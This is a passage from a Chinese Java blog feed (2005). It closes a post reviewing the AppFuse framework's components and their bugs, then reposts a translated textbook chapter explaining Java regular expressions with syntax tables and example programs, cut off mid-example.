<BR><BR>2． 但对于将显示的内容生成到一个指定格式的文件中的功能却有着很多缺陷，如： <BR>（1） 生成的文件中只有显示的数据，那些没有显示在界面上的的数据，则不会被写到文件中。 <BR>（2） 如果修改了DisplayTag的显示的内容，比如添加一列，在这列中的内容不是字符，而是HTML的标签，则生成的文件只有这些HTML标签，而没有数据。 <BR>（3） 即使DisplayTag中没有我们定制的HTML脚本，生成的文件偶尔也有问题，比如：它会把“007”生成为“7”，把字符串自动的转换为整型值。有时候还生成空白内容的文件。 <BR>（4） DisplayTag生成的Excel文件兼容性不好，有时在Excel2003中不能正常打开，或者在XP下打开报错。 <BR>后来，我看了作者写的《Spring Live》，书中说如果想实现稳定的Excel，推荐使用POI，于是我使用POI生成Excel，稳定性和兼容性都不错。 <BR><BR>六．DBUnit <BR>DBUnit是一个可以被Ant集成的向数据库中添加数据和备份数据的一个类库，配置很方便，因为AppFuse已经集成好了，所以使用也很容易。 <BR>但是如果你使用EditPlus之类的工具手工修改了AppFuse生成的内容，则执行Ant的setup、setup-db或者deploy的任务时，常常报错，说无效的格式，这是因为这个被手工修改的文件再次被AppFuse执行后，它的第一行的文件声明的前几个字母是无效的，是因为本地的字符集编码的原因而引起了乱码，如果把这几个无效的字母去掉，问题就解决了。 <BR><BR>七．Struts Menu <BR>Struts Menu也是AppFuse的作者开发的一个开源软件，它可以根据配置文件读取当前用户可以使用的功能菜单，这个功能是我一直以来都想要的，我也找到了一些代码，但实现的都不如这个完善，没什么好说的，使用简单，配置容易，很好的解决了我的问题。 <BR>问题是我只使用了AppFuse提供的2个角色，对于多个角色的实验我还没有做。 <BR><BR>八．XDoclet <BR>在AppFuse中，使用Xdoclet生成了几乎一切的配置文件：Struts-config.xml、web.xml、validation.xml、*.hbm.xml等文件，如果使用AppGen的话，还会生成更多的文件，这一切都是使用Xdoclet实现的。 <BR>问题是我在Struts部分提到的，生成的Validation.xml文件中会多生成一个“.”，另外在生成资源文件时也会多生成一个“.”，目前我没有很好的阅读这段代码，不知道是不是Xdoclet的问题。 <BR><BR>九．Ant <BR>Ant并没有什么问题，但在执行作者写的Ant任务的时候，有一些任务不能正常执行，比如，运行模拟对象测试的任务，作者也在1.7版本的修复列表中提到以前版本有些ant任务不能执行，在1.7中修改了一些ant任务，使他们能够正常的执行了。 <BR>实际上，我们如果使用AppGen进行开发的话，使用的任务一般不超过8个。 <BR><BR>十．JSTL <BR>JSTL 是个好东西，我常用的有&lt;c:&gt;和&lt;fmt:&gt;部分的标签，但是如果使用JSTL进行逻辑判断，我并没有感觉比使用JSP的代码块优雅多少。另外，熟悉JSTL也需要一段时间，我就经历了面对着JSP页面不知道该怎么写JSTL语法的困境。当然，AppFuse中使用的基本都是 JSTL，包括向DisplayTag传递显示的数据，使用的都是JSTL语法，这方面的资料挺多，我参考的是电子工业出版社出的《JSP2.0技术》，说的很详细。 <BR><BR>十一.Tomcat <BR>你也许会说：“Tomcat就不用说了吧？”，是的，Tomcat一般都会使用，但是 ―――――――――――――Tomcat5和Tomcat4.X对于中文编码使用了不同的机制，这个问题困扰了我好久，我解决了页面上写入汉字显示乱码的问题，我也曾经以为DisplayTag对汉字不能排序，也不能正常分页是因为DisplayTag的开发者都是老外，是因为他们没有考虑中文的关系的原因。 <BR>直到昨天，我才知道这一切都是因为Tomcat5对汉字编码的实现的方式和Tomcat4不一样的原因，如果感兴趣，可以看看这个帖子： http://www.javaworld.com.tw/jute/post/view?bid=9&amp;id=44042&amp;sty=1&amp;tpg=1&amp;age=0 <BR><BR>十二.JavaScript <BR>JavaScript简单易学，但想运用自如就不太容易了。AppFuse中嵌入了几个js文件，里面包含了许多函数，值得我们好好的研究一下，比如，如果有一个必填字段没有填写，AppFuse会自动的聚焦在那个input上，类似的小技巧有很多，你可以自己去翻看。 <BR>但AppFuse 自带的JavaScript脚本有一个Bug，就是当DisplatyTag中没有可以显示的数据时，你用鼠标单击，它会报JavaScript错误，你仔细研究一下function highlightTableRows(tableId) 就知道了：我的解决办法是在location.href = link.getAttribute("href");前面添加一行判断：if (link != null)。 <BR><BR>十三.资源文件国际化 <BR>对于Struts和DisplayTag都涉及到资源文件国际化AppFuse1.6.1很好的解决了Struts资源映射文件国际化的问题，你只需要在对应本国语言的资源文件中写入汉字，Ant中有一项执行native2ascii的任务，AppFuse自动的为你进行了资源文件的编码转换，而对于 DisplayTag的资源文件问题，还要自己执行native2ascii命令，为了避免每次都输入一串命令，我用Delphi写了个小工具，可视化的选择资源文件，点击按钮自动执行该命令，底层依赖于JDK。 <BR><BR><BR>经过2个多月的学习，我感觉这个框架非常不错，它为我以后的项目开发指出了一个新的方向，但如果想很熟练的使用这个框架进行开发，至少要对以下几种技术比较熟练：Struts(或者WebWork、Spring及其他的已经整合进来的MVC框架)、Hibernate（或者ibatis）、JSTL，当然其他的技术至少也要知道一点，否则遇到问题都不知道出在哪里。 <BR><BR><BR>目前我还没有解决的问题有： <BR>1． 如何在翻页的时候才读取下面的数据？ <BR>2． 怎样对使用同一个FormBean的多个Form进行客户端校验？ <BR>3． 怎样优化Hibernate的效率？《Hibernate In Action》中提供了多种策略，有些时候应该使用lazy，有些时候应该使用outer-join。 <BR>4．在什么时机生成导出文件？目前我是在查询的Action中同时生成了导出文件，否则，到了下一页，我就不知道查询条件了，当然，如果把拼装后的HQL存储在Session或者Hidden中也可以解决这个问题，但是这样就破坏了DAO的封装，要把DAO封装后的HQL发送给Action，然后发送的到 Web界面层，所以目前我还在犹豫生成导出文件的时机选择在哪里？ <BR>5． 什么时候应该自己获取数据库连接，执行native SQL？具体需要注意些什么？ <BR>6． SiteMesh的模板优化？ <BR>7． DisplayTag的底层实现？ <BR><BR><BR>每个问题都比较棘手，要一个一个解决！ <BR><BR>这个框架的优点是：如果熟悉了开发流程，可以大幅度的提高开发速度，如果业务不是很复杂，使用AppGen可以生成60%左右的代码，而且程序可维护性好，因为作者使用了多个设计模式对各个层面进行了封装，所以不同的模块代码风格出奇的一致，有利于开发人员快速上手，也有利于接收其他开发人员遗留的代码。</P></TD></TR></TBODY></TABLE></SPAN><img src ="http://www.blogjava.net/frankboy/aggbug/25638.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2005-12-27 23:21 <a href="http://www.blogjava.net/frankboy/archive/2005/12/27/25638.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>正则表达式</title><link>http://www.blogjava.net/frankboy/archive/2005/12/27/25637.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Tue, 27 Dec 2005 15:18:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2005/12/27/25637.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/25637.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2005/12/27/25637.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/25637.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/25637.html</trackback:ping><description><![CDATA[<H2 id=header55>正则表达式</H2>
<P>(转贴)</P>
<P>作为本章的结尾，我们来看一看正则表达式(regular expression)。正则表达式是<SPAN class=original_words>JDK 1.4</SPAN>的新功能，但是对sed和awk这样的Unix的标准实用工具，以及Python，Perl之类的语言来讲，它早就已经成为其不可或缺的组成部分了(有人甚至认为，它还是Perl能大获成功的最主要的原因)。单从技术角度来讲，正则表达式只是一种处理字符串的工具(过去<SPAN class=original_words>Java</SPAN>这个任务是交由<SPAN class=original_words>String</SPAN>，<SPAN class=original_words>StringBuffer</SPAN>以及<SPAN class=original_words>StringTokenizer</SPAN>处理的)，但是它常常和I/O一起使用，所以放到这里来讲也不算太离题吧。<A id=ref66 href="mk:@MSITStore:C:\Documents%20and%20Settings\wangkai\桌面\TIJ3_cn.chm::/chap12/nocomment.html#comment66"><SUP>[66]</SUP></A></P>
<P>正则表达式是一种功能强大但又非常灵活的文本处理工具。它能让你用编程的方式来描述复杂的文本模式，然后在字符串里把它找出来。一旦你找到了这种模式，你就能随心所欲地处理这些文本了。虽然初看起来正则表达式的语法有点让人望而生畏，但它提供了一种精练的动态语言，使我们能用一种通用的方式来解决各种字符串的问题，包括匹配，选择，编辑以及校验。</P>
<H3 id=header56>创建正则表达式</H3>
<P>你可以从比较简单的东西入手学习正则表达式。要想全面地掌握怎样构建正则表达式，可以去看<SPAN class=original_words>JDK</SPAN>文档的<SPAN class=original_words>java.util.regex</SPAN>的<SPAN class=original_words>Pattern</SPAN>类的文档。</P>
<TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2>
<TBODY>
<TR>
<TH colSpan=2>字符</TH></TR>
<TR>
<TD><SPAN class=original_words>B</SPAN></TD>
<TD>字符<SPAN class=original_words>B</SPAN></TD></TR>
<TR>
<TD><SPAN class=original_words>\xhh</SPAN></TD>
<TD>16进制值<SPAN class=original_words>0xhh</SPAN>所表示的字符</TD></TR>
<TR>
<TD><SPAN class=original_words>\uhhhh</SPAN></TD>
<TD>16进制值<SPAN class=original_words>0xhhhh</SPAN>所表示的Unicode字符</TD></TR>
<TR>
<TD><SPAN class=original_words>\t</SPAN></TD>
<TD>Tab</TD></TR>
<TR>
<TD><SPAN class=original_words>\n</SPAN></TD>
<TD>换行符</TD></TR>
<TR>
<TD><SPAN class=original_words>\r</SPAN></TD>
<TD>回车符</TD></TR>
<TR>
<TD><SPAN class=original_words>\f</SPAN></TD>
<TD>换页符</TD></TR>
<TR>
<TD><SPAN class=original_words>\e</SPAN></TD>
<TD>Escape</TD></TR></TBODY></TABLE>
<P>正则表达式的强大体现在它能定义字符集(character class)。下面是一些最常见的字符集及其定义的方式，此外还有一些预定义的字符集：</P>
<TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2>
<TBODY>
<TR vAlign=top>
<TH colSpan=2><SPAN class=original_words>字符集</SPAN> </TH></TR>
<TR vAlign=top>
<TD vAlign=top><SPAN class=original_words>.</SPAN> </TD>
<TD vAlign=top>表示任意一个字符 </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>[abc]</SPAN> </TD>
<TD vAlign=top width=311>表示字符<SPAN class=original_words>a</SPAN>，<SPAN class=original_words>b</SPAN>，<SPAN class=original_words>c</SPAN>中的任意一个(与<SPAN class=original_words>a|b|c</SPAN>相同) </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>[^abc]</SPAN> </TD>
<TD vAlign=top width=311>除<SPAN class=original_words>a</SPAN>，<SPAN class=original_words>b</SPAN>，<SPAN class=original_words>c</SPAN>之外的任意一个字符(否定) </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>[a-zA-Z]</SPAN> </TD>
<TD vAlign=top width=311>从<SPAN class=original_words>a</SPAN>到<SPAN class=original_words>z</SPAN>或<SPAN class=original_words>A</SPAN>到<SPAN class=original_words>Z</SPAN>当中的任意一个字符(范围) </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>[abc[hij]]</SPAN> </TD>
<TD vAlign=top width=311><SPAN class=original_words>a,b,c,h,i,j</SPAN>中的任意一个字符(与<SPAN class=original_words>a|b|c|h|i|j</SPAN>相同)(并集) </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>[a-z&amp;&amp;[hij]]</SPAN> </TD>
<TD vAlign=top width=311><SPAN class=original_words>h,i,j</SPAN>中的一个(交集) </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>\s</SPAN> </TD>
<TD vAlign=top width=311>空格字符(空格键, tab, 换行, 换页, 回车) </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>\S</SPAN> </TD>
<TD vAlign=top width=311>非空格字符(<SPAN class=original_words>[^\s]</SPAN>) </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>\d</SPAN> </TD>
<TD vAlign=top width=311>一个数字，也就是<SPAN class=original_words>[0-9]</SPAN> </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>\D</SPAN> </TD>
<TD vAlign=top width=311>一个非数字的字符，也就是<SPAN class=original_words>[^0-9]</SPAN> </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>\w</SPAN> </TD>
<TD vAlign=top width=311>一个单词字符(word character)，即<SPAN class=original_words>[a-zA-Z_0-9]</SPAN> </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=131><SPAN class=original_words>\W</SPAN> </TD>
<TD vAlign=top width=311>一个非单词的字符，<SPAN class=original_words>[^\w]</SPAN> </TD></TR></TBODY></TABLE>
<P>如果你用过其它语言的正则表达式，那么你一眼就能看出反斜杠的与众不同。在其它语言里，"<SPAN class=original_words>\\</SPAN>"的意思是"我只是要在正则表达式里插入一个反斜杠。没什么特别的意思。"但是在Java里，"<SPAN class=original_words>\\</SPAN>"的意思是"我要插入一个正则表达式的反斜杠，所以跟在它后面的那个字符的意思就变了。"举例来说，如果你想表示一个或更多的"单词字符"，那么这个正则表达式就应该是"<SPAN class=original_words>\\w+</SPAN>"。如果你要插入一个反斜杠，那就得用"<SPAN class=original_words>\\\\</SPAN>"。不过像换行，跳格之类的还是只用一根反斜杠："\n\t"。</P>
<P>这里只给你讲一个例子；你应该<SPAN class=original_words>JDK</SPAN>文档的<SPAN class=original_words>java.util.regex.Pattern</SPAN>加到收藏夹里，这样就能很容易地找到各种正则表达式的模式了。</P>
<TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2>
<TBODY>
<TR>
<TH colSpan=2>逻辑运算符 </TH></TR>
<TR>
<TD>XY</TD>
<TD>X 后面跟着 Y</TD></TR>
<TR>
<TD>X|Y</TD>
<TD>X或Y</TD></TR>
<TR>
<TD>(X)</TD>
<TD>一个"要匹配的组(capturing group)". 以后可以用\i来表示第i个被匹配的组。</TD></TR></TBODY></TABLE>
<P>
<TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2>
<TBODY>
<TR vAlign=top>
<TH vAlign=top width=383 colSpan=2>边界匹配符 </TH></TR>
<TR vAlign=top>
<TD vAlign=top width=143><SPAN class=original_words>^</SPAN> </TD>
<TD vAlign=top width=239>一行的开始 </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=143><SPAN class=original_words>$</SPAN> </TD>
<TD vAlign=top width=239>一行的结尾 </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=143><SPAN class=original_words>\b</SPAN> </TD>
<TD vAlign=top width=239>一个单词的边界 </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=143><SPAN class=original_words>\B</SPAN> </TD>
<TD vAlign=top width=239>一个非单词的边界 </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=143><SPAN class=original_words>\G</SPAN> </TD>
<TD vAlign=top width=239>前一个匹配的结束 </TD></TR></TBODY></TABLE>
<P>举一个具体一些的例子。下面这些正则表达式都是合法的，而且都能匹配"Rudolph"：</P>
<BLOCKQUOTE><PRE>Rudolph
[rR]udolph
[rR][aeiou][a-z]ol.*
R.*</PRE></BLOCKQUOTE>
<H3 id=header57>数量表示符</H3>
<P>"数量表示符(quantifier)"的作用是定义模式应该匹配多少个字符。</P>
<UL>
<LI>Greedy(贪婪的)： 除非另有表示，否则数量表示符都是greedy的。Greedy的表达式会一直匹配下去，直到匹配不下去为止。<U>(如果你发现表达式匹配的结果与预期的不符)</U>，很有可能是因为，你以为表达式会只匹配前面几个字符，而实际上它是greedy的，因此会一直匹配下去。 
<LI>Reluctant(勉强的)： 用问号表示，它会匹配最少的字符。也称为lazy, minimal matching, non-greedy, 或ungreedy。 
<LI>Possessive(占有的)： 目前只有Java支持(其它语言都不支持)。它更加先进，所以你可能还不太会用。用正则表达式匹配字符串的时候会产生很多中间状态，<U>(一般的匹配引擎会保存这种中间状态，)</U>这样匹配失败的时候就能原路返回了。占有型的表达式不保存这种中间状态，因此也就不会回头重来了。它能防止正则表达式的失控，同时也能提高运行的效率。 </LI></UL>
<TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2>
<TBODY>
<TR vAlign=top>
<TH><SPAN class=original_words>Greedy</SPAN> </TH>
<TH><SPAN class=original_words>Reluctant</SPAN> </TH>
<TH><SPAN class=original_words>Possessive</SPAN> </TH>
<TH>匹配 </TH></TR>
<TR vAlign=top>
<TD vAlign=top width=71><SPAN class=original_words>X?</SPAN> </TD>
<TD vAlign=top width=86><SPAN class=original_words>X??</SPAN> </TD>
<TD vAlign=top width=93><SPAN class=original_words>X?+</SPAN> </TD>
<TD vAlign=top width=231>匹配一个或零个<SPAN class=original_words>X</SPAN> </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=71><SPAN class=original_words>X*</SPAN> </TD>
<TD vAlign=top width=86><SPAN class=original_words>X*?</SPAN> </TD>
<TD vAlign=top width=93><SPAN class=original_words>X*+</SPAN> </TD>
<TD vAlign=top width=231>匹配零或多个<SPAN class=original_words>X</SPAN> </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=71><SPAN class=original_words>X+</SPAN> </TD>
<TD vAlign=top width=86><SPAN class=original_words>X+?</SPAN> </TD>
<TD vAlign=top width=93><SPAN class=original_words>X++</SPAN> </TD>
<TD vAlign=top width=231>匹配一个或多个<SPAN class=original_words>X</SPAN> </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=71><SPAN class=original_words>X{n}</SPAN> </TD>
<TD vAlign=top width=86><SPAN class=original_words>X{n}?</SPAN> </TD>
<TD vAlign=top width=93><SPAN class=original_words>X{n}+</SPAN> </TD>
<TD vAlign=top width=231>匹配正好n个<SPAN class=original_words>X</SPAN> </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=71><SPAN class=original_words>X{n,}</SPAN> </TD>
<TD vAlign=top width=86><SPAN class=original_words>X{n,}?</SPAN> </TD>
<TD vAlign=top width=93><SPAN class=original_words>X{n,}+</SPAN> </TD>
<TD vAlign=top width=231>匹配至少n个<SPAN class=original_words>X</SPAN> </TD></TR>
<TR vAlign=top>
<TD vAlign=top width=71><SPAN class=original_words>X{n,m}</SPAN> </TD>
<TD vAlign=top width=86><SPAN class=original_words>X{n,m}?</SPAN> </TD>
<TD vAlign=top width=93><SPAN class=original_words>X{n,m}+</SPAN> </TD>
<TD vAlign=top width=231>匹配至少n个，至多m个<SPAN class=original_words>X</SPAN> </TD></TR></TBODY></TABLE>
<P>再提醒一下，要想让表达式照你的意思去运行，你应该用括号把'X'括起来。比方说：</P>
<BLOCKQUOTE><PRE>abc+</PRE></BLOCKQUOTE>
<P>似乎这个表达式能匹配一个或若干个'abc'，但是如果你真的用它去匹配'abcabcabc'的话，实际上只会找到三个字符。因为这个表达式的意思是'ab'后边跟着一个或多个'c'。要想匹配一个或多个完整的'abc'，你应该这样：</P>
<BLOCKQUOTE><PRE>(abc)+</PRE></BLOCKQUOTE>
<P>正则表达式能轻而易举地把你给耍了；这是一种建立在<SPAN class=original_words>Java</SPAN>之上的新语言。</P>
<H4 id=header58>CharSequence</H4>
<P>JDK 1.4定义了一个新的接口，叫<SPAN class=original_words>CharSequence</SPAN>。它提供了<SPAN class=original_words>String</SPAN>和<SPAN class=original_words>StringBuffer</SPAN>这两个类的字符序列的抽象：</P>
<BLOCKQUOTE><PRE><FONT color=#0000ff>interface</FONT> CharSequence {
  charAt(<FONT color=#0000ff>int</FONT> i);
  length();
  subSequence(<FONT color=#0000ff>int</FONT> start, <FONT color=#0000ff>int</FONT> end);
  toString();
}</PRE></BLOCKQUOTE>
<P>为了实现这个新的<SPAN class=original_words>CharSequence</SPAN>接口，<SPAN class=original_words>String</SPAN>，<SPAN class=original_words>StringBuffer</SPAN>以及<SPAN class=original_words>CharBuffer</SPAN>都作了修改。很多正则表达式的操作都要拿<SPAN class=original_words>CharSequence</SPAN>作参数。</P>
<H3 id=header59><SPAN class=original_words>Pattern</SPAN>和<SPAN class=original_words>Matcher</SPAN></H3>
<P>先给一个例子。下面这段程序可以测试正则表达式是否匹配字符串。第一个参数是要匹配的字符串，后面是正则表达式。正则表达式可以有多个。在Unix/Linux环境下，命令行下的正则表达式还必须用引号。</P>
<P>当你创建正则表达式时，可以用这个程序来判断它是不是会按照你的要求工作。</P>
<TABLE class=sourcecode>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:TestRegularExpression.java</FONT>
<FONT color=#009900>// Allows you to easly try out regular expressions.</FONT>
<FONT color=#009900>// {Args: abcabcabcdefabc "abc+" "(abc)+" "(abc){2,}" }</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> TestRegularExpression {
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) {
    <FONT color=#0000ff>if</FONT>(args.length &lt; 2) {
      System.out.println(<FONT color=#004488>"Usage:\n"</FONT> +
        <FONT color=#004488>"java TestRegularExpression "</FONT> +
        <FONT color=#004488>"characterSequence regularExpression+"</FONT>);
      System.exit(0);
    }
    System.out.println(<FONT color=#004488>"Input: \"</FONT><FONT color=#004488>" + args[0] + "</FONT>\<FONT color=#004488>""</FONT>);
    <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> i = 1; i &lt; args.length; i++) {
      System.out.println(
        <FONT color=#004488>"Regular expression: \"</FONT><FONT color=#004488>" + args[i] + "</FONT>\<FONT color=#004488>""</FONT>);
      Pattern p = Pattern.compile(args[i]);
      Matcher m = p.matcher(args[0]);
      <FONT color=#0000ff>while</FONT>(m.find()) {
        System.out.println(<FONT color=#004488>"Match \"</FONT>" + m.group() +
          <FONT color=#004488>"\"</FONT> at positions " +
          m.start() + <FONT color=#004488>"-"</FONT> + (m.end() - 1));
      }
    }
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P><SPAN class=original_words>Java</SPAN>的正则表达式是由<SPAN class=original_words>java.util.regex</SPAN>的<SPAN class=original_words>Pattern</SPAN>和<SPAN class=original_words>Matcher</SPAN>类实现的。<SPAN class=original_words>Pattern</SPAN>对象表示经编译的正则表达式。静态的<SPAN class=original_words>compile( )</SPAN>方法负责将表示正则表达式的字符串编译成<SPAN class=original_words>Pattern</SPAN>对象。正如上述例程所示的，只要给<SPAN class=original_words>Pattern</SPAN>的<SPAN class=original_words>matcher( )</SPAN>方法送一个字符串就能获取一个<SPAN class=original_words>Matcher</SPAN>对象。此外，<SPAN class=original_words>Pattern</SPAN>还有一个能快速判断能否在<SPAN class=original_words>input</SPAN>里面找到<SPAN class=original_words>regex</SPAN>的(注意，原文有误，漏了方法名)</P>
<BLOCKQUOTE><PRE><FONT color=#0000ff>static</FONT> <FONT color=#0000ff>boolean</FONT> matches(&nbsp;regex, &nbsp;input)</PRE></BLOCKQUOTE>
<P>以及能返回<SPAN class=original_words>String</SPAN>数组的<SPAN class=original_words>split( )</SPAN>方法，它能用<SPAN class=original_words>regex</SPAN>把字符串分割开来。</P>
<P>只要给<SPAN class=original_words>Pattern.matcher( )</SPAN>方法传一个字符串就能获得<SPAN class=original_words>Matcher</SPAN>对象了。接下来就能用<SPAN class=original_words>Matcher</SPAN>的方法来查询匹配的结果了。</P>
<BLOCKQUOTE><PRE><FONT color=#0000ff>boolean</FONT> matches()
<FONT color=#0000ff>boolean</FONT> lookingAt()
<FONT color=#0000ff>boolean</FONT> find()
<FONT color=#0000ff>boolean</FONT> find(<FONT color=#0000ff>int</FONT> start)</PRE></BLOCKQUOTE>
<P><SPAN class=original_words>matches( )</SPAN>的前提是<SPAN class=original_words>Pattern</SPAN>匹配整个字符串，而<SPAN class=original_words>lookingAt( )</SPAN>的意思是<SPAN class=original_words>Pattern</SPAN>匹配字符串的开头。 </P>
<H4 id=header60>find( )</H4>
<P><SPAN class=original_words>Matcher.find( )</SPAN>的功能是发现<SPAN class=original_words>CharSequence</SPAN>里的，与pattern相匹配的多个字符序列。例如：</P>
<TABLE class=sourcecode>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:FindDemo.java</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*;
<FONT color=#0000ff>import</FONT> java.util.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> FindDemo {
  <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test();
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) {
    Matcher m = Pattern.compile(<FONT color=#004488>"\\w+"</FONT>)
      .matcher(<FONT color=#004488>"Evening is full of the linnet's wings"</FONT>);
    <FONT color=#0000ff>while</FONT>(m.find())
      System.out.println(m.group());
    <FONT color=#0000ff>int</FONT> i = 0;
    <FONT color=#0000ff>while</FONT>(m.find(i)) {
      System.out.print(m.group() + <FONT color=#004488>" "</FONT>);
      i++;
    }
    monitor.expect(<FONT color=#0000ff>new</FONT> String[] {
      <FONT color=#004488>"Evening"</FONT>,
      <FONT color=#004488>"is"</FONT>,
      <FONT color=#004488>"full"</FONT>,
      <FONT color=#004488>"of"</FONT>,
      <FONT color=#004488>"the"</FONT>,
      <FONT color=#004488>"linnet"</FONT>,
      <FONT color=#004488>"s"</FONT>,
      <FONT color=#004488>"wings"</FONT>,
      <FONT color=#004488>"Evening vening ening ning ing ng g is is s full "</FONT> +
      <FONT color=#004488>"full ull ll l of of f the the he e linnet linnet "</FONT> +
      <FONT color=#004488>"innet nnet net et t s s wings wings ings ngs gs s "</FONT>
    });
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>"<SPAN class=original_words>\\w+</SPAN>"的意思是"一个或多个单词字符"，因此它会将字符串直接分解成单词。<SPAN class=original_words>find( )</SPAN>像一个迭代器，从头到尾扫描一遍字符串。第二个<SPAN class=original_words>find( )</SPAN>是带<SPAN class=original_words>int</SPAN>参数的，正如你所看到的，它会告诉方法从哪里开始找——即从参数位置开始查找。</P>
<H4 id=header61>Groups</H4>
<P>Group是指里用括号括起来的，能被后面的表达式调用的正则表达式。Group 0 表示整个表达式，group 1表示第一个被括起来的group，以此类推。所以；</P>
<BLOCKQUOTE><PRE>A(B(C))D</PRE></BLOCKQUOTE>
<P>里面有三个group：group 0是<SPAN class=original_words>ABCD</SPAN>， group 1是<SPAN class=original_words>BC</SPAN>，group 2是<SPAN class=original_words>C</SPAN>。</P>
<P>你可以用下述<SPAN class=original_words>Matcher</SPAN>方法来使用group：</P>
<P><SPAN class=original_words>public int groupCount( )</SPAN>返回matcher对象中的group的数目。不包括group0。</P>
<P><SPAN class=original_words>public String group( ) </SPAN>返回上次匹配操作(比方说<SPAN class=original_words>find( )</SPAN>)的group 0(整个匹配)</P>
<P><SPAN class=original_words>public String group(int i)</SPAN>返回上次匹配操作的某个group。如果匹配成功，但是没能找到group，则返回null。</P>
<P><SPAN class=original_words>public int start(int group)</SPAN>返回上次匹配所找到的，group的开始位置。</P>
<P><SPAN class=original_words>public int end(int group)</SPAN>返回上次匹配所找到的，group的结束位置，最后一个字符的下标加一。</P>
<P>下面我们举一些group的例子：</P>
<TABLE class=sourcecode>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:Groups.java</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> Groups {
  <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test();
  <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>final</FONT> String poem =
    <FONT color=#004488>"Twas brillig, and the slithy toves\n"</FONT> +
    <FONT color=#004488>"Did gyre and gimble in the wabe.\n"</FONT> +
    <FONT color=#004488>"All mimsy were the borogoves,\n"</FONT> +
    <FONT color=#004488>"And the mome raths outgrabe.\n\n"</FONT> +
    <FONT color=#004488>"Beware the Jabberwock, my son,\n"</FONT> +
    <FONT color=#004488>"The jaws that bite, the claws that catch.\n"</FONT> +
    <FONT color=#004488>"Beware the Jubjub bird, and shun\n"</FONT> +
    <FONT color=#004488>"The frumious Bandersnatch."</FONT>;
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) {
    Matcher m =
      Pattern.compile(<FONT color=#004488>"(?m)(\\S+)\\s+((\\S+)\\s+(\\S+))$"</FONT>)
        .matcher(poem);
    <FONT color=#0000ff>while</FONT>(m.find()) {
      <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> j = 0; j &lt;= m.groupCount(); j++)
        System.out.print(<FONT color=#004488>"["</FONT> + m.group(j) + <FONT color=#004488>"]"</FONT>);
      System.out.println();
    }
    monitor.expect(<FONT color=#0000ff>new</FONT> String[]{
      <FONT color=#004488>"[the slithy toves]"</FONT> +
      <FONT color=#004488>"[the][slithy toves][slithy][toves]"</FONT>,
      <FONT color=#004488>"[in the wabe.][in][the wabe.][the][wabe.]"</FONT>,
      <FONT color=#004488>"[were the borogoves,]"</FONT> +
      <FONT color=#004488>"[were][the borogoves,][the][borogoves,]"</FONT>,
      <FONT color=#004488>"[mome raths outgrabe.]"</FONT> +
